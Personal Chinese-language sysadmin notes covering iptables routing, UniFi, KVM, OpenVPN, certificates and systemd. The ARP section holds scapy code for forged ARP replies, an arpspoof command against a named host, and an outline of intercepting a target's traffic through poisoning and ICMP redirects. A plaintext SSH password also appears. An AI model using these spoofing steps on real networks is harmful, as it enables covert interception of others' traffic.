iptables -A FORWARD -d 10.31.3.222 -p tcp -j ACCEPT -m conntrack --ctstate NEW,ESTABLISHED,RELATED
iptables -A FORWARD -s 192.168.1.222 -p tcp -j ACCEPT -m conntrack --ctstate NEW,ESTABLISHED,RELATED
iptables -t nat -A POSTROUTING ! -d 192.168.0.0/16 -o eth1 -j SNAT --to-source 198.51.100.1
思路2:认为包先从网卡出来,
iptables -t nat -A OUTPUT -d 140.82.0.0/16 -p tcp -m tcp --dport 443 -j DNAT --to-destination 10.31.3.222:9443
-A PREROUTING -d 10.31.3.222/32 -p tcp -m tcp --dport 9443 -j DNAT --to-destination 140.82.112.4:443
方法3(大概率生效):
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -A FORWARD -i eno2 -o eno1 -j ACCEPT
iptables -A FORWARD -i eno1 -o eno2 -m state --state RELATED,ESTABLISHED -j ACCEPT
iptables -t nat -A POSTROUTING -o eno1 -j MASQUERADE
利用ip rule(也是大概率生效,目前这个最靠谱):
ip route add default via 10.31.3.1 dev eno1 tab 1
ip route show table 1
ip rule add to 192.168.16.20/32 tab 1 priority 500
ip rule show\list
ip route flush cache
测试:
解析google.com的ip得到142.250.199.78,暂不支持域名
ip route add default via 10.8.0.5 dev tun1 tab vpn_proxy
ip rule add to 142.250.199.78 tab vpn_proxy priority 501
ping 142.250.199.78
ip rule方法2,结合iptables使用:
ip rule add fwmark 3 table 3
iptables -A PREROUTING -t mangle -i eth0 -s 192.168.0.1 -192.168.0.100 -j MARK --set-mark 3
最终不行,可能是无法实现route的功能(大概率生效)
方法1能看到出去的包,但是无法收到来自github.com的包,可能卡在了路由那里
iptables -t nat -A PREROUTING -s 140.82.0.0/16 -p tcp -m tcp --sport 443 -j ACCEPT
总结:
iptables只能做到修改源ip和目的ip、port的方式,访问某个特定的网站、某个网卡发出的请求,还得靠ip rule,而ip route适合全局的情况。
3.有多个网卡,某个网卡的ip出来的请求(监听某个本地ip的进程发出的请求)走指定的网卡出去
ip rule的方法:
ip route add default via 10.8.0.5 dev tun1 tab vpn_proxy
ip rule add from 10.1.0.0/24 tab vpn_proxy priority 500
如果还需特殊的条件,比如从某个网卡出来,能够访问本网卡的ip
ip rule del to 10.1.0.0/24 table main priority 498
USG路由器如何设置两个ip
wan2口是多余的,只用一个wan口即可达到多个ip的目的(是否上游同一个router待确认)
1.进入远程网页的docker container
2.进入目录/unifi/data/sites/n047k26l
3.更改配置cat config.gateway.json
"interfaces": {
"ethernet": {
"eth0": {
"address" : [ "121.46.18.83/28",
"121.46.18.84/28" ]
"service": {
"nat": {
"rule": {
"4001": {
"description": "IP1",
"destination": {
"address": "121.46.18.83",
"port": "80,443"
},
"inbound-interface": "eth0",
"inside-address": {
"address": "192.168.1.3"
},
"protocol": "tcp",
"type": "destination"
重置配置:
set-default
或者点forget
usg controller和usg gateway
controller所在container控制页面
unifi controller服务:
开放端口8443 8080
docker支持多架构:
docker create
-v /data/unifi:/config
docker start unifi-controller
-e UNIFI_SSH_PORT=8422 -e UNIFI_SSH_PASSWD=apulistech 没起效
其他安装方式:
apt添加源
deb包
window下的exe
设置inform URL
Settings > Controller > Controller Settings and set the Controller Hostname/IP
然后点击enable
设置固定ip
绑定mac地址和ip后
如何生效:
dhclient
或ifconfig eno1 down
ifconfig eno1 up
问题:
1.一直provisioning
注意防火墙不要屏蔽了controller所在的ip
firewall group不能用10.16.0.0-10.16.255.255这种ip段的写法,虽然页面可以提交,但实际上会导致error。新版本可以用10.16.0.0/16这种写法
虚拟机:
检测是否支持:
apt install cpu-checker
kvm-ok
安装软件:
apt install -y qemu-system-x86 qemu-kvm qemu libvirt-bin virt-manager virtinst bridge-utils cpu-checker virt-viewer
qemu-efi-aarch64
检测是否启动:
systemctl status libvirtd
systemctl enable
配置界面连接ssh key:
将公钥放到所在的服务器上.ssh/authorized_keys
命令行使用:
适合window版本,安装不了virt-manager
1.配置网络:
a.桥接网络
方法一:
vim /etc/netplan/00-installer-config.yaml
network:
version: 2
renderer: networkd
ethernets:
enp1s0:
dhcp4: no
bridges:
br0:
dhcp4: yes
addresses: [10.31.3.123/24]
gateway4: 10.31.3.1
nameservers:
addresses: [8.8.8.8]
interfaces:
- enp1s0
netplan apply
systemctl restart NetworkManager.service
systemctl restart network-manager
brctl show
iptables -t nat -A POSTROUTING -o br0 -j MASQUERADE
iptables -A FORWARD -i br0 -o virbr0 -m state
iptables -A FORWARD -i virbr0 -o br0 -j ACCEPT
iptables -I FORWARD 1 -i br0 -o br0 -j ACCEPT
如何恢复:
ip link set enp1s0 up
ip link set br0 down
brctl delbr br0
方法二:
nmcli conn add type bridge con-name br0 ifname br0
nmcli conn add type ethernet slave-type bridge con-name bridge-br0 ifname enp1s0 master br0
nmcli conn show
nmcli conn up br0
nmcli conn down eno1
nmcli conn show
nmcli conn del 4f5cde98-d834-44f8-b1bb-e68e35e243f2
vim host-bridge.xml
<network>
<name>host-bridge</name>
<forward mode="bridge"/>
<bridge name="br0"/>
</network>
virsh net-define host-bridge.xml
virsh net-start host-bridge
virsh net-autostart host-bridge
b. NAT
c. 使用macvtap driver将NIC直接连到宿主机物理接口上
VEPA:all packets from the guests are sent to the external switch.
bridge:Packets whose destination is on the same host machine as their source guest are directly delivered to the target macvtap device
private:
passthrough:
virsh edit xxx
编辑vm的xml文件
<devices>
...
<interface type='direct'>
<source dev='eth0' mode='bridge'/>
</interface>
</devices>
2.启动虚拟系统:
wget https://mirrors.kernel.org/ubuntu-releases/18.04/ubuntu-18.04.5-live-server-amd64.iso
virt-install
virt-install
3.常用命令:
virsh list
virsh shutdown/start/suspend/reboot/reset/undefine/destroy/console/edit xxx
virt-viewer ukvm1404
存储pool相关:
virsh pool-list
virsh pool-define-as kvmpool
virsh pool-list
virsh pool-start kvmpool
virsh pool-autostart kvmpool
加盘
qemu-img create -f raw ubuntu-vm-disk-100G-1 100G
virsh attach-disk ubuntu-box1 /var/lib/libvirt/images/ubuntu-box1-vm-disk1-5G vdb
virsh domblklist ubuntu18.04-czl
或者直接编辑xml文件
移除通过virsh detach-disk ubuntu18.04-czl vdb
扩容
virsh domblklist apulis-ubuntu18.04-clone3
virsh shutdown apulis-ubuntu18.04-clone3
qemu-img info /var/lib/libvirt/images/rhel8.qcow2
qemu-img resize /mnt/fastdisk2/kvms/vm1-clone-2.qcow2 +100G
virsh start apulis-ubuntu18.04-clone3
直接不停机可以用
virsh blockresize vm18041-clone2 /mnt/bigdisk3/vm18041-clone2.qcow2 280G
然后进vm进行扩大分区
apt -y install cloud-guest-utils
growpart /dev/vda 2
resize2fs /dev/vda2
lsblk
内存和cpu:
编辑命令是可以的
virsh edit xxx
图形化界面操作
命令行操作:
virsh dominfo CentOS6_1| grep mem
virsh setmaxmem 2
virsh setmaxmem 2
setmem
setvcpus
网络相关:
virsh net-list
virsh net-info default
virsh net-dhcp-leases default
virsh net-destroy host-bridge
virsh net-undefine host-bridge
virsh domiflist 查看vm使用的网络
virsh domifaddr 查看vm的ip
virsh attach-interface
virsh detach-interface
virsh dumpxml VM_NAME | grep "mac address" | awk -F\' '{ print $2}'
arp -an | grep 52:54:00:ce:8a:c4 # 需要通信过或者稍等一段时间后,才能获取到
克隆相关:
virt-clone --original {Domain-Vm-Name-Here} --name {New-Domain-Vm-Name-Here} --file {/var/lib/libvirt/images/File.Name.here}
快照:
virsh snapshot-create-as --domain {VM-NAME} --name "{SNAPSHOT-NAME}" --live
virsh snapshot-list --domain openbsd
virsh snapshot-info --domain freebsd --snapshotname 5Sep2016_S1
virsh snapshot-revert --domain freebsd --snapshotname 5Sep2016_S1 --running
virsh snapshot-delete --domain freebsd --snapshotname 5Sep2016_S2
virt-manager界面使用:
只能linux系统
hyper-V也可以安装linux系统
apt-get install virt-manager ssh-askpass-gnome
可以连接远程,配置当前用户的ssh密钥即可。
arp协议:
arp -s 192.168.1.1 00:b1:b2:b3:b4:b5
arp -a 查看所有的规则
arp -a 192.168.1.179查看指定ip的信息
ip neigh也可以查看系统arp表
arp -d ip 删除
清除缓存:
arp -n|awk '/^[1-9]/{system("arp -d "$1)}' 所有的
ip neigh flush dev eth0 某一个接口的
原理:
OSI模型把网络工作分为七层,IP地址在OSI模型的第三层,MAC地址在第二层,彼此不直接打交道。
在通过以太网发送IP数据包时,需要先封装第三层(32位IP地址)、第二层(48位MAC地址)的报头,但由于发送时只知道目标IP地址,不知道其MAC地址,又不能跨第二、三层,
所以需要使用地址解析协议。使用地址解析协议,可根据网络层IP数据包包头中的IP地址信息解析出目标硬件地址(MAC地址)信息,以保证通信的顺利进行。
流程:
第1步:根据主机A上的路由表内容,IP确定用于访问主机B的转发IP地址是192.168.1.2。然后A主机在自己的本地ARP缓存中检查主机B的匹配MAC地址。
第2步:如果主机A在ARP缓存中没有找到映射,它将询问192.168.1.2的硬件地址,从而将ARP请求帧广播到本地网络上的所有主机。源主机A的IP地址和MAC地址都包括在ARP请求中。本地网络上的每台主机都接收到ARP请求并且检查是否与自己的IP地址匹配。如果主机发现请求的IP地址与自己的IP地址不匹配,它将丢弃ARP请求。
第3步:主机B确定ARP请求中的IP地址与自己的IP地址匹配,则将主机A的IP地址和MAC地址映射添加到本地ARP缓存中。
第4步:主机B将包含其MAC地址的ARP回复消息直接发送回主机A。
第5步:当主机A收到从主机B发来的ARP回复消息时,会用主机B的IP和MAC地址映射更新ARP缓存。本机缓存是有生存期的,生存期结束后,将再次重复上面的过程。主机B的MAC地址一旦确定,主机A就能向主机B发送IP通信了。
免费ARP:
与标准ARP的区别就是免费ARP分组的目的IP地址字段封装的是自己的IP地址,即向所在网络请求自己的MAC地址。
作用:
一个主机可以通过它来确定另一个主机是否设置了相同的 IP地址。
更新其他主机高速缓存中旧的硬件地址信息。
网关利用免费ARP防止ARP攻击,防止或缓解ARP攻击的效果。
利用免费ARP进行ARP攻击
代理ARP
两台主机A和B处于同一网段但不同的广播段(不在同一物理网络上)时,主机A发送ARP请求主机B的MAC地址时,因为路由器不转发广播包的原因,ARP请求只能到达路由器。
如果路由器启用了代理ARP功能,并知道主机B属于它连接的网络,那么路由器就用自己接口的MAC地址代替主机B的MAC地址来对主机A进行ARP应答。
主机A接收ARP应答,但并不知道代理ARP的存在。
k8s ha应用:
ha会有一个vip,vip需要与多台master中的其中一个的网络接口mac地址绑定,其中就用到arp协议
master和worker都会通过arp请求得到响应,获取到vip和对应的mac地址。因此推测vip容器在响应局域网内的arp请求,发送ARP应答消息,将vip答应为对应的mac地址。
每个master的eno接口都会增加一个ipv6的ip,由vip容器完成这个操作。vip容器会出现由于ipv6地址找不到而启动异常的情况(arp包的源ip?),进而影响arp服务,导致vip ping不通。
这个时候需要重启eno接口。
初步估计这个ipv6用于多master的多个vip容器之间的通信,以选举主master、确定vip位于哪个mac地址上
多个组件之间通信可能依赖于k8s,ipv6地址用于本节点的vip容器启动,可能是准备arp包发送。
如何发送arp包:
python可以用scapy
scapy
pkt = Ether()/ARP()
pkt.show()
pkt[Ether].dst="ff:ff:ff:ff:ff:ff"
pkt[ARP].pdst="192.168.66.21"
pkt[ARP].psrc="192.168.66.198"
sendp(pkt)
关键:
参数主要分Ether和ARP,Ether的dst包发送的地址(全网广播为ff:ff:ff:ff:ff:ff),src源地址不变
ARP的pdst改为目标机器ip,如0.0.0.0或192.168.1.3具体的ip
ARP的psrc和hwsrc根据需求修改,这样目标机器就会更新这个ip和mac条目,达到欺骗的目的
浏览监控:
arp广播,发送网关ip+监控机器mac地址的欺骗包给目标机器。这样目标机器会以监控机器作为网关,往这里发送请求。
发送目标机器ip+监控机器mac地址的欺骗包给网关,这样网关要往目标机器发送请求时,发送给这里。
开启监控机器的包转发,echo 1 > /proc/sys/net/ipv4/ip_forward
所谓转发即当主机拥有多于一块的网卡时,其中一块收到数据包,根据数据包的目的ip地址将数据包发往本机另一块网卡,该网卡根据路由表继续发送数据包。这通常是路由器所要实现的功能。
监控机器拥有正确的目标机器ip和网关ip的mac地址。
跨网段如何广播:
不同网段的主机通信时,主机会封装网关(通常是路由器)的mac地址,然后主机将数据发送给路由器,后续路由进行路由转发,通过arp解析目标地址的mac地址,然后将数据包送达目的地。
192.168.3.2 192.168.3.1 192.168.4.2 192.168.4.1
1、主机A有数据发往主机B,数据封装IP之后发现没有主机B的mac地址;然后查询ARP,ARP回应:“我在192.168.3.0/24网段,目标地址在192.168.4.0/24,不属于同一网段,需要使用默认网关”;ARP发现默认网关是192.168.3.2,但是没有网关mac地址,需要先进行查询;
2、主机将数据包先放到缓存中,然后发送ARP查询报文:封装自己的mac地址为源mac,目标mac地址写全F的广播地址,请求网关192.168.3.2的mac地址。然后以广播方式发送出去;
3、路由器收到广播数据包,首先将原192.168.3.1添加到自己的mac地址表中,对应mac地址为0800.0222.2222。路由发现是请求自己的mac地址,然后路由回复一个ARP应答:封装自己的IP地址为源IP自己的mac地址为源mac,主机A的IP为目的IP主机A的mac为目的mac,发送一个单播应答“我是192.168.3.2.我的mac地址为0800.0333.2222”;
4、主机收到应答后,将网关mac地址对应192.168.4.2(跨网关通信,其他网段IP地址的mac地址均为网关mac),然后将缓存中的数据包,封装网关mac地址进行发送;
5、路由收到数据包,检查目的IP地址,发现不是给自己的,决定要进行路由,然后查询路由表,需要发往192.168.4.0网段中的192.168.4.2地址。路由准备从相应接口上发出去,然后查询mac地址表,发现没有主机B的映射。路由器发送arp请求查询主机B的mac地址(原理同2、3步,主机B收到请求后首先会添加网关的mac地址,然后单播回复arp请求);
6、路由器收到主机B的mac地址后,将其添加到路由mac地址表中,然后将缓存中的数据2层帧头去掉,封装自己的mac地址为源mac,主机B的mac地址为目的mac(源和目的IP地址不变),加上二层帧头及校验,发送给主机B;
7、主机B收到数据之后,进行处理,发送过程结束;
8、如果主机B收到数据后进行回复,主机B会进行地址判断,不在同一网段,然后决定将数据发送给网关,主机B查询mac地址表获得网关mac地址,将数据封装后发送(arp地址解析的过程不再需要了,mac地址表条目有一定的有效时间),网关收到数据后直接查询mac表,将二层帧mac地址更改为A的mac发送出去。如此,主机A收到主机B的回复;
路由器隔离广播。每一个网段都是独立的广播域。
没找到不同网段的机器通过router设置ip route,而不是双网卡,相互能ping通的场景,暂未确认这个。
在目标机器上arp -a的确没看到广播的ip,而同一网段则很快看到。
广播的ip必须是同网段的,否则虽然发出去了,但还是arp -a看不到
ICMP重定向:
跨网段必须用到ICMP重定向。
A 10.10.100.1 00-E0-4C-11-11-11
B 10.10.100.2 00-E0-4C-22-22-22
C 10.10.200.3 00-E0-4C-33-33-33
首先攻击方C修改IP包的生存时间,将其延长,以便做充足的广播。然后和上面提到的一样,寻找主机B的漏洞,攻击此漏洞,使主机B暂时无法工作。
此后,攻击方C发送IP地址为B的IP地址10.10.100.2,MAC地址为C的MAC地址00-E0-4C-33-33-33的ARP应答给A。A接收到应答后,更新其ARP缓存。这样,在主机A上B的IP地址就对应C的MAC地址。
但是,A在发数据包给B时,仍然会在局域网内寻找10.10.100.2的MAC地址,不会把包发给路由器,这时就需要进行ICMP重定向,告诉主机A到10.10.100.2的最短路径不是局域网,而是路由,请主机重定向路由路径,
把所有到10.10.100.2的包发给路由器。主机A在接受到这个合理的ICMP重定向后,修改自己的路由路径,把对10.10.100.2的数据包都发给路由器。这样攻击方C就能得到来自内部网段的数据包。
ubuntu下相关工具:
arping
arping 192.168.131.155
arping -c 3 192.。168.0.106
arping -S 10.31.3.251 10.31.3.110
dsniff
arpspoof -i enp98s0f0 -t 192.168.66.21 192.168.66.197
oepnvpn:
安装:
下载easy-rsa.zip并解压
wget https://github.com/OpenVPN/easy-rsa/releases/download/v3.0.8/EasyRSA-3.0.8.tgz
tar zxf EasyRSA-3.0.8.tgz
cd EasyRSA-3.0.8/
配置vars文件
./easyrsa init-pki
生成根证书和密钥ca.crt ca.key
./easyrsa build-ca nopass
生成服务器证书和密钥
./easyrsa gen-req server nopass
./easyrsa sign server server
生成客户端证书和密钥
./easyrsa gen-req client nopass
./easyrsa sign client client
生成密钥交换文件
./easyrsa gen-dh
安装openvpn
apt install openvpn
cd /etc/openvpn
mkdir keys
cp /root/EasyRSA-3.0.8/pki/dh.pem keys/dh2048.pem
cp /root/EasyRSA-3.0.8/pki/private/server.key keys/
cp /root/EasyRSA-3.0.8/pki/issued/server.crt keys/
cp /root/EasyRSA-3.0.8/pki/ca.crt keys/
配置openvpn
cp /usr/share/doc/openvpn/examples/sample-config-files/server.conf.gz ./
gzip -d server.conf.gz
编辑server.conf修改证书路径,配置server网段10.1.0.0,注意最好绝对路径,否则启动要在对应路径下才行
增加前缀/etc/openvpn/keys/
push "route 10.1.0.0 255.255.255.0" 代理拨号
push "route 192.168.1.0 255.255.255.0"用于访问这个网段,如果全局代理了,这个可以不设
修改cipher配置
放开注释duplicate-cn,不然多个使用一样的证书的client会获取相同的ip
启动路由转发
echo "net.ipv4.ip_forward = 1" >> /etc/sysctl.conf
sysctl -p
建立ta.key拒绝服务攻击证书文件
openvpn
cp ta.key ./keys/
启动openvpn服务
openvpn
ss -nutl |grep 1194
注意:
openvpn的server默认的出口要看default route设置,vpn本身并没有相关配置
开机启动:
echo "/usr/local/openvpn/sbin/openvpn --daemon --config /etc/openvpn/server.conf > /dev/null 2>&1 &" >> /etc/rc.local
下载客户端:
https://openvpn.net/community-downloads/
ubuntu下:
wget https://swupdate.openvpn.org/community/releases/openvpn-2.5.0.tar.gz
tar zxf openvpn-2.5.0.tar.gz
cd openvpn-2.5.0
make && make install
或者
apt install openvpn
配置客户端文件:
cp /usr/share/doc/openvpn/examples/sample-config-files/client.conf .
修改cipher,remote ip配置,注意最好绝对路径,否则启动要在对应路径下才行
mkdir client
mv client.conf client
复制client证书
mkdir client/
cp /root/EasyRSA-3.0.8/pki/ca.crt client/
cp /root/EasyRSA-3.0.8/pki/issued/client.crt client/
cp /root/EasyRSA-3.0.8/pki/private/client.key client/
cp ta.key ./client/
tar zcf client.tar client
拷贝到config目录下,启动openvpn,修改配置路径即可,会启动虚拟网卡,由openvpn分配虚拟ip,这样即可通过局域网网关访问局域网ip
ubuntu下:
openvpn
查看本地ifconfig是否分配了ip
如何访问没有设置网关的局域网机器(客户端连接后默认没有网关):
配置iptables的nat功能
iptables -P FORWARD ACCEPT
iptables -I INPUT -p tcp
iptables -t nat -A POSTROUTING -s 10.1.0.0/24 -j MASQUERADE转化为局域网同一个网段,相互访问不需要网关
如何路由网络所有traffic
1.在server.conf配置push "redirect-gateway def1 bypass-dhcp",重启服务。
如果是dns,需要加上配置push "dhcp-option DNS 10.8.0.1"
2.服务器配置
iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE
openvpn的server默认的出口要看default route设置,vpn本身并没有相关配置
或者client端配置:
route-nopull
route 0.0.0.0 0.0.0.0
route 外网ip 255.255.255.255 net_gateway
原理:
重启client后,客户端的route添加了几条,比如0.0.0.0/1 via 10.8.0.5 dev tun1,改变了默认路由。
0.0.0.0/1 via 10.1.0.5 dev tun0
10.1.0.1 via 10.1.0.5 dev tun0
10.1.0.5 dev tun0 proto kernel scope link src 10.1.0.6
128.0.0.0/1 via 10.1.0.5 dev tun0
58.250.250.126 via 192.168.1.1 dev ens3
dns好像没问题,可以正常解析,但不是通过10.8.0.1
条件路由:
client.conf添加
route-nopull
route 202.120.127.0 255.255.255.0 vpn_gateway
重启client后,客户端会添加一条ip route,所有该网段范围的ip都走该路由
注意:这样的情况下不会添加route 10.8.0.1,访问不了代理网关
浏览器局部代理和全局代理思路:
局部代理(被墙ip)可以通过ip route(但是ip是动态变化的,暂时方法是动态修改ip rule)
全局代理可以通过浏览器本身的socket代理设置,原理是一个socket proxy有自己的固定监听ip,从这个ip出来可以配置走vpn。配置浏览器使用这个socket proxy即可。
机器的全局代理就是ip default route了
二级代理:
场景:
一台机器只有国际线路A,另一台同局域网的机器只有公网访问B,一台普通的机器C。
方案:
那么先在A搭建vpn,在局域网内的B部署客户端。A可以不设置全局代理,B客户端使用默认代理,只能访问A网关。
然后在B搭建vpn,在C通过公网部署客户端。
关键点:
将B server的流量导向A server
iptables -t nat -A PREROUTING -s 10.1.0.0/24 -j DNAT
iptables -t nat -A POSTROUTING -s 10.1.0.0/24 -j MASQUERADE
正确的做法:
通过ip rule的方法
C可以配置条件路由或者全局路由都行,这样C就能访问google.com。
方案二:
在B搭建一个http proxy,C客户端通过proxy连接A
问题:
1.C在全局代理下,域名解析REFUSED,因为递归查询了。C所有的流量都通过了vpn
解决:
将
iptables -t nat -A PREROUTING -s 10.1.0.0/24 -j DNAT
替换为
iptables -t nat -A PREROUTING -s 10.1.0.0/24 -p tcp !
iptables -t nat -A PREROUTING -s 10.1.0.0/24 -p udp !
iptables -t nat -A PREROUTING -s 10.1.0.0/24 -p icmp -j DNAT
解决2:
A通过bind搭建一个dns服务器,并允许递归查询,B将C的所有流量转到A,这样C即可走国际代理查询域名
2.wget会存在证书问题,apt update、curl也是。首页index.html没问题
二级代理的问题,一级代理测试没有这个错误
深入调试发现,是B通过iptables转发导致的问题,通过ip route设置default route实现全局代理流向A则没问题
本地单节点测试:
iptables -t nat -A OUTPUT -p tcp
wget某个网站,发现会超时失败,就算是本地的接口192.168.1.1也会失败
问题点:
DNAT将请求地址改了,变为请求openvpn或者路由器的服务了curl https://192.168.1.1:443/,证书肯定有问题
硬盘相关:
查看硬盘:
lsblk
创建分区:
fdisk /dev/sdb然后输入n
删除分区
fdisk /dev/sdb然后输入d
格式化:
mkfs.ext4 /dev/sdb1
mkfs -t ext4 /dev/sdb1
terminal显示图片和视频:
apt install gpicview 更轻量,视频暂不支持
apt install gwenview 功能更强大,直接可以打开视频
xdg-open
apt install xdg-utils
打开视频需要额外安装支持,如firefox,chrome
samba服务:
安装:
apt install samba samba-common
完全卸载:
apt-get autoremove samba samba-common
apt-get purge samba samba-common
配置:
目录:
[share]
path = /mnt/storage1/samba
browsable =yes
writable = no
guest ok = yes
read only = yes
如何使用:
ipmi使用:
填写\share\xxx.filename
挂载路径到ubuntu:
apt install cifs-utils
mount -t cifs //192.168.1.85/public /samba -o username=xxx
证书:
CA(Certification Authority)证书,指的是权威机构给我们颁发的证书。
密钥就是用来加解密用的文件或者字符串。密钥在非对称加密的领域里,指的是私钥和公钥,他们总是成对出现,其主要作用是加密和解密。常用的加密强度是2048bit。
RSA即非对称加密算法。非对称加密有两个不一样的密码,一个叫私钥,另一个叫公钥,用其中一个加密的数据只能用另一个密码解开,用自己的都解不了,也就是说用公钥加密的数据只能由私钥解开。
x.509: 定义了证书结构和认证协议标准;(基于公钥和数字签名)
证书的编码格式
PEM(Privacy Enhanced Mail),通常用于数字证书认证机构(Certificate Authorities,CA),扩展名为.pem, .crt, .cer, 和 .key。内容为Base64编码的ASCII码文件,有类似"-----BEGIN CERTIFICATE-----" 和 "-----END CERTIFICATE-----"的头尾标记。服务器认证证书,中级认证证书和私钥都可以储存为PEM格式(认证证书其实就是公钥)。Apache和nginx等类似的服务器使用PEM格式证书。
DER(Distinguished Encoding Rules),与PEM不同之处在于其使用二进制而不是Base64编码的ASCII。扩展名为.der,但也经常使用.cer用作扩展名,所有类型的认证证书和私钥都可以存储为DER格式。Java使其典型使用平台
证书签名请求CSR
CSR(Certificate Signing Request),它是向CA机构申请数字证书时使用的请求文件。在生成请求文件前,我们需要准备一对对称密钥。私钥信息自己保存,请求中会附上公钥信息以及国家,城市,域名,Email等信息,CSR中还会附上签名信息。当我们准备好CSR文件后就可以提交给CA机构,等待他们给我们签名,签好名后我们会收到crt文件,即证书。
注意:CSR并不是证书。而是向权威证书颁发机构获得签名证书的申请。
把CSR交给权威证书颁发机构,权威证书颁发机构对此进行签名,完成。保留好CSR,当权威证书颁发机构颁发的证书过期的时候,你还可以用同样的CSR来申请新的证书,key保持不变.
数字证书和公钥
数字证书则是由证书认证机构(CA)对证书申请者真实身份验证之后,用CA的根证书对申请人的一些基本信息以及申请人的公钥进行签名(相当于加盖发证书机 构的公章)后形成的一个数字文件。实际上,数字证书就是经过CA认证过的公钥,除了公钥,还有其他的信息,比如Email,国家,城市,域名等。
证书包含以下信息:申请者公钥、申请者的组织信息和个人信息、签发机构CA的信息、有效时间、证书序列号等信息的明文,同时包含一个签名;
签名的产生算法:首先,使用散列函数计算公开的明文信息的信息摘要,然后,采用CA的私钥对信息摘要进行加密,密文即签名;
解开:
openssl x509 -in ./apiserver-kubelet-client.crt -text -noout
流程:
1.首先创建私有的CA根证书
生成CA私钥(.key)-->生成CA证书请求(.csr)-->自签名得到根证书(.crt)(CA给自已颁发的证书)。
2.拿到CA证书crt文件后,即可用于签发用户签名请求,颁发数字证书给用户(用户申请流程)
生成私钥(.key)-->生成证书请求(.csr)-->用CA根证书签名得到证书(.crt)
用户(服务端)得到证书后,可以用于客户端的ssl通信
知名机构的CA证书和自己创建CA证书的区别:
所有的操作系统(和某些应用程序)内置了一个列表,默认信任哪些证书机构颁发的证书
自己创建的CA证书签发的证书,别人是不信的。
客户端验证数字证书的信任流程:
1.客户端 C 向服务器 S 发出请求时,S 返回证书文件;
2.客户端 C 读取证书中的相关的明文信息,采用相同的散列函数计算得到信息摘要,然后,利用对应CA的公钥(操作系统内置)解密签名数据,对比证书的信息摘要,如果一致,则可以确认证书的合法性,即公钥合法;
3.客户端然后验证证书相关的域名信息、有效时间等信息;
4.客户端会内置信任CA的证书信息(包含公钥),如果CA不被信任,则找不到对应 CA的证书,证书也会被判定非法。
https通信流程:
1.客户端和服务器端经tcp三次握手,建立初步连接。
2.客户端发送http报文请求并协商使用哪种加密算法。
3.服务端响应报文并把自身的数字签名发给客户端。
4.客服端下载CA的公钥,验证其数字证书的拥有者是否是服务器端(这个过程可以得到服务器端的公钥)。(一般是客户端验证服务端的身份,服务端不用验证客户端的身份。)
5.如果验证通过,客户端生成一个随机对称的字符串,用该随机字符串加密要发送的URL链接申请,再用服务器端的公钥加密该随机字符串
6.客户端把加密的随机字符串和加密的URL链接一起发送到服务器。
7.服务器端使用自身的私钥解密,获得一个对称的随机字符串,再用该对称随机字符串解密经加密的URL链接,获得URL链接申请。
8.服务器端根据获得的URL链接取得该链接的网页内容,并用客户端发来的对称密钥把该网页内容加密后发给客户端。
9.客户端收到加密的网页内容,用自身的对称密钥解密,就能获得网页的内容了。
10.TCP四次挥手,通信结束。
非对称加密:
用公钥加密,只能用私钥解开。
openssl工具:
签发CA证书
openssl genrsa -out ca.key 2048
openssl req -new -key ca.key -out ca.csr
openssl x509 -req -days 365 -in ca.csr -signkey ca.key -out ca.crt
签发数字证书
openssl genrsa -des3 -out client.key 1024
openssl req -new -key client.key -out client.csr
openssl ca -in client.csr -out client.crt -cert ca.crt -keyfile ca.key
cfssl工具:
签发CA证书:
配置ca 配置文件
配置ca csr配置文件
cfssl gencert -initca json/ca-csr.json | cfssljson -bare cert_dir/ca # 会生成ca.csr, ca-key.pem, ca.pem 三个文件
签发数字证书:
申请机器的 csr 配置文件etcd-csr.json
cfssl gencert -ca=$cert_dir/ca.pem \
-ca-key=$cert_dir/ca-key.pem \
-config=json/ca-config.json \
-profile=$profile json/etcd-csr.json | cfssljson -bare $cert_dir/$profile # 会生成$profile.csr, $profile-key.pem, $profile.pem 三个文件
配置systemctl service:
[Unit]
Description=Etcd Server # 用于systemctl list-units的展示
After=network.target # 仅是说明服务启动的顺序而已,并没有做到强依赖。还有Before,Requires(前置没有启动的话,该service不会启动),Conflicts冲突
After=network-online.target
Wants=network-online.target # 最好还要启动什么服务比较好,如果没有启动,其实不会影响到这个 unit 本身!
Documentation=https:
[Service]
Type=notify # simple:由 ExecStart 接的指令串来启动,启动后常驻于内存中。
# forking:当所有通信渠道都已建好、启动亦已成功之后,父进程将会退出,而子进程将作为主服务进程继续运行。 这是传统UNIX守护进程的经典做法。
# oneshot:与 simple 类似,不同之处在于, 只有在该服务的主服务进程退出之后,systemd 才会认为该服务启动完成,才会开始启动后继单元
# dbus:与 simple 类似,但这个 daemon 必须要在取得一个 D-Bus 的名称后,才会继续运行!因此设置这个项目时,通常也要设置 BusName= 才行!
# idle:这类的 daemon 通常是开机到最后才执行即可的服务!
# exec:与 simple 类似,不同之处在于, 只有在该服务的主服务进程执行完成之后,systemd 才会认为该服务启动完成。
# notify:与 exec 类似,不同之处在于, 该服务将会在启动完成之后通过 sd_notify(3) 之类的接口发送一个通知消息。
WorkingDirectory=/var/lib/etcd/ #
ExecStart=/opt/kube/bin/etcd \ # 在启动该服务时需要执行的 命令行(命令+参数)。
ExecStop= # 当该服务被要求停止时所执行的命令行
ExecStopPost= # 与 ExecStop= 不同,无论服务是否启动成功, 此选项中设置的命令都会在服务停止后被无条件的执行。
ExecReload= # 当该服务 被要求重新载入配置时 所执行的命令行。 语法规则与 ExecStart= 完全相同。
ExecStartPre= # 所有由 ExecStartPre= 派生的子进程 都会在启动 ExecStart= 服务进程之前被杀死。
ExecStartPost= # 仅在 ExecStart= 中的命令已经全部执行成功之后才会运行。具体说来,对于 Type=simple 或 Type=idle 就是主进程已经成功启动;
对于 Type=oneshot 来说就是最后一个 ExecStart= 进程已经成功退出; 对于 Type=forking 来说就是初始进程已经成功退出;
对于 Type=notify 来说就是已经发送了 "READY=1" ; 对于 Type=dbus 来说就是已经取得了 BusName= 中设置的总线名称。
Restart=always # 当服务进程 正常退出、异常退出、被杀死、超时的时候, 是否重新启动该服务。
RestartSec=15 # 设置在重启服务(Restart=)前暂停多长时间。 默认单位是秒
LimitNOFILE=65536 #
OOMScoreAdjust=-999 # 内存超时kill掉的优先级,越小越低优先kill
[Install]
WantedBy=multi-user.target
type选择:
1.建议对长时间持续运行的服务尽可能使用 Type=simple (这是最简单和速度最快的选择)。 注意,因为 simple 类型的服务 无法报告启动失败、也无法在服务完成初始化后对其他单元进行排序
